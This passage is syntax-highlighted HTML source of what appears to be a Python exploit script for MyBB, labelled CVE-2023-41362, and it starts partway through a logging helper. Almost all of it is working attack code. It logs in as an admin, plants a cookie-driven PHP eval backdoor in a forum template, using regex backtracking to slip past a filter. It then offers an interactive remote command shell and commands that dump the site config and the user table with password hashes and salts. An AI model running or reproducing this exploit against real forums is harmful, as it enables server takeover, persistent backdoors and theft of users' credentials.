&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; log_fmt &lt;span style="color:#f92672"&gt;=&lt;/span&gt; self&lt;span style="color:#f92672"&gt;.&lt;/span&gt;FORMATS&lt;span style="color:#f92672"&gt;.&lt;/span&gt;get(record&lt;span style="color:#f92672"&gt;.&lt;/span&gt;levelno)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; formatter &lt;span style="color:#f92672"&gt;=&lt;/span&gt; logging&lt;span style="color:#f92672"&gt;.&lt;/span&gt;Formatter(log_fmt)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; formatter&lt;span style="color:#f92672"&gt;.&lt;/span&gt;format(record)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;logger &lt;span style="color:#f92672"&gt;=&lt;/span&gt; logging&lt;span style="color:#f92672"&gt;.&lt;/span&gt;getLogger(__name__)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;logger&lt;span style="color:#f92672"&gt;.&lt;/span&gt;setLevel(logging&lt;span style="color:#f92672"&gt;.&lt;/span&gt;INFO)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ch &lt;span style="color:#f92672"&gt;=&lt;/span&gt; logging&lt;span style="color:#f92672"&gt;.&lt;/span&gt;StreamHandler()
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ch&lt;span style="color:#f92672"&gt;.&lt;/span&gt;setFormatter(CustomFormatter())
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;logger&lt;span style="color:#f92672"&gt;.&lt;/span&gt;addHandler(ch)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;def&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;get_postkey&lt;/span&gt;(text):
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; text&lt;span style="color:#f92672"&gt;.&lt;/span&gt;split(&lt;span style="color:#e6db74"&gt;&amp;#39;my_post_key&amp;#34; value=&amp;#34;&amp;#39;&lt;/span&gt;)[&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;]&lt;span style="color:#f92672"&gt;.&lt;/span&gt;split(&lt;span style="color:#e6db74"&gt;&amp;#39;&amp;#34;&amp;#39;&lt;/span&gt;)[&lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;def&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;send_php&lt;/span&gt;(php_code):
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; session&lt;span style="color:#f92672"&gt;.&lt;/span&gt;get(&lt;span style="color:#e6db74"&gt;f&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#e6db74"&gt;{&lt;/span&gt;target&lt;span style="color:#e6db74"&gt;}&lt;/span&gt;&lt;span style="color:#e6db74"&gt;/online.php&amp;#34;&lt;/span&gt;,cookies&lt;span style="color:#f92672"&gt;=&lt;/span&gt;{&lt;span style="color:#e6db74"&gt;&amp;#39;1&amp;#39;&lt;/span&gt;:b64encode(php_code&lt;span style="color:#f92672"&gt;.&lt;/span&gt;encode())&lt;span style="color:#f92672"&gt;.&lt;/span&gt;decode()})&lt;span style="color:#f92672"&gt;.&lt;/span&gt;text
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;def&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;remove&lt;/span&gt;():
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; logger&lt;span style="color:#f92672"&gt;.&lt;/span&gt;info(&lt;span style="color:#e6db74"&gt;&amp;#34;Removing payload from template&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; rm_payload &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;$db-&amp;gt;query(&amp;#34;UPDATE {$db-&amp;gt;table_prefix}templates SET template=SUBSTRING_INDEX(template,&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;\&amp;#39;&lt;/span&gt;&lt;span style="color:#e6db74"&gt;}--&amp;gt;&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;\&amp;#39;&lt;/span&gt;&lt;span style="color:#e6db74"&gt;,-1) WHERE template LIKE &lt;/span&gt;&lt;span style="color:#ae81ff"&gt;\&amp;#39;&lt;/span&gt;&lt;span style="color:#e6db74"&gt;%[0][0][0][0]%&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;\&amp;#39;&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;);&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; send_php(rm_payload)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; logger&lt;span style="color:#f92672"&gt;.&lt;/span&gt;warning(&lt;span style="color:#e6db74"&gt;&amp;#34;Payload removed&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; exit()
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;def&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;dump_config&lt;/span&gt;():
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; dump_config_payload &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;print_r($config);&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; print(send_php(dump_config_payload))
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;def&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;dump_users&lt;/span&gt;():
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; users_payload &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;$q=$db-&amp;gt;query(&amp;#34;SELECT CONCAT_WS(&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;\&amp;#39;&lt;/span&gt;&lt;span style="color:#e6db74"&gt;,&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;\&amp;#39;&lt;/span&gt;&lt;span style="color:#e6db74"&gt;,uid,username,email,hex(regip),hex(lastip),password,salt) as x FROM {$db-&amp;gt;table_prefix}users&amp;#34;);while($r=$db-&amp;gt;fetch_array($q)){print($r[&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;\&amp;#39;&lt;/span&gt;&lt;span style="color:#e6db74"&gt;x&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;\&amp;#39;&lt;/span&gt;&lt;span style="color:#e6db74"&gt;].PHP_EOL);}die();&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; logger&lt;span style="color:#f92672"&gt;.&lt;/span&gt;info(&lt;span style="color:#e6db74"&gt;f&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;Saving user table to &lt;/span&gt;&lt;span style="color:#e6db74"&gt;{&lt;/span&gt;domain&lt;span style="color:#e6db74"&gt;}&lt;/span&gt;&lt;span style="color:#e6db74"&gt;.txt&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;with&lt;/span&gt; open(&lt;span style="color:#e6db74"&gt;f&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#e6db74"&gt;{&lt;/span&gt;domain&lt;span style="color:#e6db74"&gt;}&lt;/span&gt;&lt;span style="color:#e6db74"&gt;.txt&amp;#34;&lt;/span&gt;,&lt;span style="color:#e6db74"&gt;&amp;#39;w&amp;#39;&lt;/span&gt;) &lt;span style="color:#66d9ef"&gt;as&lt;/span&gt; f:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; f&lt;span style="color:#f92672"&gt;.&lt;/span&gt;write(send_php(users_payload))
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; logger&lt;span style="color:#f92672"&gt;.&lt;/span&gt;info(&lt;span style="color:#e6db74"&gt;f&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;Complete&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;def&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;shell&lt;/span&gt;():
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; logger&lt;span style="color:#f92672"&gt;.&lt;/span&gt;info(&lt;span style="color:#e6db74"&gt;&amp;#34;Testing code exec...&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; page &lt;span style="color:#f92672"&gt;=&lt;/span&gt; send_php(&lt;span style="color:#e6db74"&gt;&amp;#39;echo &amp;#34;lmao&amp;#34;;&amp;#39;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;lmao&amp;#39;&lt;/span&gt; &lt;span style="color:#f92672"&gt;in&lt;/span&gt; page:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; logger&lt;span style="color:#f92672"&gt;.&lt;/span&gt;info(&lt;span style="color:#e6db74"&gt;&amp;#34;Shell is working&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;else&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; logger&lt;span style="color:#f92672"&gt;.&lt;/span&gt;warning(&lt;span style="color:#e6db74"&gt;&amp;#34;Shell doesnt seem to work correctly&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; logger&lt;span style="color:#f92672"&gt;.&lt;/span&gt;info(&lt;span style="color:#e6db74"&gt;&amp;#34;Special commands: exit (quit), remove (removes backdoor), config (prints mybb config), dump (dumps user table)&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;while&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;True&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; command &lt;span style="color:#f92672"&gt;=&lt;/span&gt; input(&lt;span style="color:#e6db74"&gt;&amp;#34;Enter Command&amp;gt; &amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; command &lt;span style="color:#f92672"&gt;in&lt;/span&gt; [&lt;span style="color:#e6db74"&gt;&amp;#39;exit&amp;#39;&lt;/span&gt;,&lt;span style="color:#e6db74"&gt;&amp;#39;quit&amp;#39;&lt;/span&gt;]:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;break&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; command &lt;span style="color:#f92672"&gt;==&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;remove&amp;#39;&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; remove()
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;continue&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; command &lt;span style="color:#f92672"&gt;==&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;config&amp;#39;&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; dump_config()
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;continue&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; command &lt;span style="color:#f92672"&gt;==&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;dump&amp;#39;&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; dump_users()
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;continue&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; command &lt;span style="color:#f92672"&gt;=&lt;/span&gt; command&lt;span style="color:#f92672"&gt;.&lt;/span&gt;replace(&lt;span style="color:#e6db74"&gt;&amp;#34;&amp;#39;&amp;#34;&lt;/span&gt;,&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;\\&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#39;&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; page &lt;span style="color:#f92672"&gt;=&lt;/span&gt; send_php(&lt;span style="color:#e6db74"&gt;f&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;system(&amp;#39;&lt;/span&gt;&lt;span style="color:#e6db74"&gt;{&lt;/span&gt;command&lt;span style="color:#e6db74"&gt;}&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#39;);&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; print(page)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; __name__ &lt;span style="color:#f92672"&gt;==&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;__main__&amp;#34;&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; parser &lt;span style="color:#f92672"&gt;=&lt;/span&gt; argparse&lt;span style="color:#f92672"&gt;.&lt;/span&gt;ArgumentParser(description&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;MyBB CVE-2023-41362 Exploit Script&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; parser&lt;span style="color:#f92672"&gt;.&lt;/span&gt;add_argument(&lt;span style="color:#e6db74"&gt;&amp;#34;target&amp;#34;&lt;/span&gt;, help&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;Target URL (e.g., https://example.com)&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; parser&lt;span style="color:#f92672"&gt;.&lt;/span&gt;add_argument(&lt;span style="color:#e6db74"&gt;&amp;#34;username&amp;#34;&lt;/span&gt;, help&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;Admin username&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; parser&lt;span style="color:#f92672"&gt;.&lt;/span&gt;add_argument(&lt;span style="color:#e6db74"&gt;&amp;#34;password&amp;#34;&lt;/span&gt;, help&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;Admin password&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; parser&lt;span style="color:#f92672"&gt;.&lt;/span&gt;add_argument(&lt;span style="color:#e6db74"&gt;&amp;#34;--admincp&amp;#34;&lt;/span&gt;, default&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;admin&amp;#34;&lt;/span&gt;, help&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;Admin control panel path&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; parser&lt;span style="color:#f92672"&gt;.&lt;/span&gt;add_argument(&lt;span style="color:#e6db74"&gt;&amp;#34;--user-agent&amp;#34;&lt;/span&gt;, default&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.199 Safari/537.36&amp;#34;&lt;/span&gt;, help&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;User Agent&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; args &lt;span style="color:#f92672"&gt;=&lt;/span&gt; parser&lt;span style="color:#f92672"&gt;.&lt;/span&gt;parse_args()
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; target &lt;span style="color:#f92672"&gt;=&lt;/span&gt; args&lt;span style="color:#f92672"&gt;.&lt;/span&gt;target&lt;span style="color:#f92672"&gt;.&lt;/span&gt;rstrip(&lt;span style="color:#e6db74"&gt;&amp;#34;/&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; domain &lt;span style="color:#f92672"&gt;=&lt;/span&gt; args&lt;span style="color:#f92672"&gt;.&lt;/span&gt;target&lt;span style="color:#f92672"&gt;.&lt;/span&gt;split(&lt;span style="color:#e6db74"&gt;&amp;#39;://&amp;#39;&lt;/span&gt;)[&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;]&lt;span style="color:#f92672"&gt;.&lt;/span&gt;split(&lt;span style="color:#e6db74"&gt;&amp;#39;/&amp;#39;&lt;/span&gt;)[&lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; admincp_path &lt;span style="color:#f92672"&gt;=&lt;/span&gt; args&lt;span style="color:#f92672"&gt;.&lt;/span&gt;admincp
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# login to admin&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; session &lt;span style="color:#f92672"&gt;=&lt;/span&gt; requests&lt;span style="color:#f92672"&gt;.&lt;/span&gt;Session()
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; session&lt;span style="color:#f92672"&gt;.&lt;/span&gt;headers&lt;span style="color:#f92672"&gt;.&lt;/span&gt;update({&lt;span style="color:#e6db74"&gt;&amp;#34;User-Agent&amp;#34;&lt;/span&gt;:args&lt;span style="color:#f92672"&gt;.&lt;/span&gt;user_agent})
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; logger&lt;span style="color:#f92672"&gt;.&lt;/span&gt;info(&lt;span style="color:#e6db74"&gt;f&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;Logging into &lt;/span&gt;&lt;span style="color:#e6db74"&gt;{&lt;/span&gt;target&lt;span style="color:#e6db74"&gt;}&lt;/span&gt;&lt;span style="color:#e6db74"&gt;/&lt;/span&gt;&lt;span style="color:#e6db74"&gt;{&lt;/span&gt;admincp_path&lt;span style="color:#e6db74"&gt;}&lt;/span&gt;&lt;span style="color:#e6db74"&gt;/ as &lt;/span&gt;&lt;span style="color:#e6db74"&gt;{&lt;/span&gt;args&lt;span style="color:#f92672"&gt;.&lt;/span&gt;username&lt;span style="color:#e6db74"&gt;}&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; login &lt;span style="color:#f92672"&gt;=&lt;/span&gt; session&lt;span style="color:#f92672"&gt;.&lt;/span&gt;post(&lt;span style="color:#e6db74"&gt;f&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#e6db74"&gt;{&lt;/span&gt;target&lt;span style="color:#e6db74"&gt;}&lt;/span&gt;&lt;span style="color:#e6db74"&gt;/&lt;/span&gt;&lt;span style="color:#e6db74"&gt;{&lt;/span&gt;admincp_path&lt;span style="color:#e6db74"&gt;}&lt;/span&gt;&lt;span style="color:#e6db74"&gt;/index.php&amp;#34;&lt;/span&gt;, data&lt;span style="color:#f92672"&gt;=&lt;/span&gt;{&lt;span style="color:#e6db74"&gt;&amp;#34;username&amp;#34;&lt;/span&gt;:args&lt;span style="color:#f92672"&gt;.&lt;/span&gt;username, &lt;span style="color:#e6db74"&gt;&amp;#34;password&amp;#34;&lt;/span&gt;:args&lt;span style="color:#f92672"&gt;.&lt;/span&gt;password, &lt;span style="color:#e6db74"&gt;&amp;#34;do&amp;#34;&lt;/span&gt;:&lt;span style="color:#e6db74"&gt;&amp;#34;login&amp;#34;&lt;/span&gt;})
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;&amp;lt;p id=&amp;#34;message&amp;#34; class=&amp;#34;error&amp;#34;&amp;gt;&amp;#39;&lt;/span&gt; &lt;span style="color:#f92672"&gt;in&lt;/span&gt; login&lt;span style="color:#f92672"&gt;.&lt;/span&gt;text:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; logger&lt;span style="color:#f92672"&gt;.&lt;/span&gt;error(&lt;span style="color:#e6db74"&gt;&amp;#34;Login Failed&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; exit()
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;This account has been locked out&amp;#39;&lt;/span&gt; &lt;span style="color:#f92672"&gt;in&lt;/span&gt; login&lt;span style="color:#f92672"&gt;.&lt;/span&gt;text:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; logger&lt;span style="color:#f92672"&gt;.&lt;/span&gt;error(&lt;span style="color:#e6db74"&gt;&amp;#34;Account has been locked out for failing login too many times&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; exit()
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# we should have admin panel access now&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; page &lt;span style="color:#f92672"&gt;=&lt;/span&gt; session&lt;span style="color:#f92672"&gt;.&lt;/span&gt;get(&lt;span style="color:#e6db74"&gt;f&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#e6db74"&gt;{&lt;/span&gt;target&lt;span style="color:#e6db74"&gt;}&lt;/span&gt;&lt;span style="color:#e6db74"&gt;/&lt;/span&gt;&lt;span style="color:#e6db74"&gt;{&lt;/span&gt;admincp_path&lt;span style="color:#e6db74"&gt;}&lt;/span&gt;&lt;span style="color:#e6db74"&gt;/index.php?module=style-templates&amp;amp;action=edit_template&amp;amp;title=online&amp;amp;sid=1&amp;#34;&lt;/span&gt;)&lt;span style="color:#f92672"&gt;.&lt;/span&gt;text
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; postkey &lt;span style="color:#f92672"&gt;=&lt;/span&gt; get_postkey(page)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; existing_template &lt;span style="color:#f92672"&gt;=&lt;/span&gt; html&lt;span style="color:#f92672"&gt;.&lt;/span&gt;unescape(page&lt;span style="color:#f92672"&gt;.&lt;/span&gt;split(&lt;span style="color:#e6db74"&gt;&amp;#39;&amp;lt;textarea name=&amp;#34;template&amp;#34; class=&amp;#34;&amp;#34; id=&amp;#34;template&amp;#34; style=&amp;#34;width: 100%; height: 500px;&amp;#34; rows=&amp;#34;5&amp;#34; cols=&amp;#34;45&amp;#34;&amp;gt;&amp;#39;&lt;/span&gt;)[&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;]&lt;span style="color:#f92672"&gt;.&lt;/span&gt;split(&lt;span style="color:#e6db74"&gt;&amp;#39;&amp;lt;/textarea&amp;gt;&amp;#39;&lt;/span&gt;)[&lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;])
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; tid &lt;span style="color:#f92672"&gt;=&lt;/span&gt; page&lt;span style="color:#f92672"&gt;.&lt;/span&gt;split(&lt;span style="color:#e6db74"&gt;&amp;#39;tid&amp;#34; value=&amp;#34;&amp;#39;&lt;/span&gt;)[&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;]&lt;span style="color:#f92672"&gt;.&lt;/span&gt;split(&lt;span style="color:#e6db74"&gt;&amp;#39;&amp;#34;&amp;#39;&lt;/span&gt;)[&lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# using html comment to hide the insert_id() response of 0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# payload uses a lot of [0]&amp;#39;s to trigger catastrophic regex backtracking to bypass filter&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; payload &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;&amp;lt;!--{$db-&amp;gt;insert_id(isset($_COOKIE[1])?die(eval(base64_decode($_COOKIE[1]))):&amp;#39;&amp;#39;)}{$a&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;+&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#34;[0]&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;*&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;2000&lt;/span&gt;)&lt;span style="color:#f92672"&gt;+&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;}--&amp;gt;&amp;#34;&lt;/span&gt;
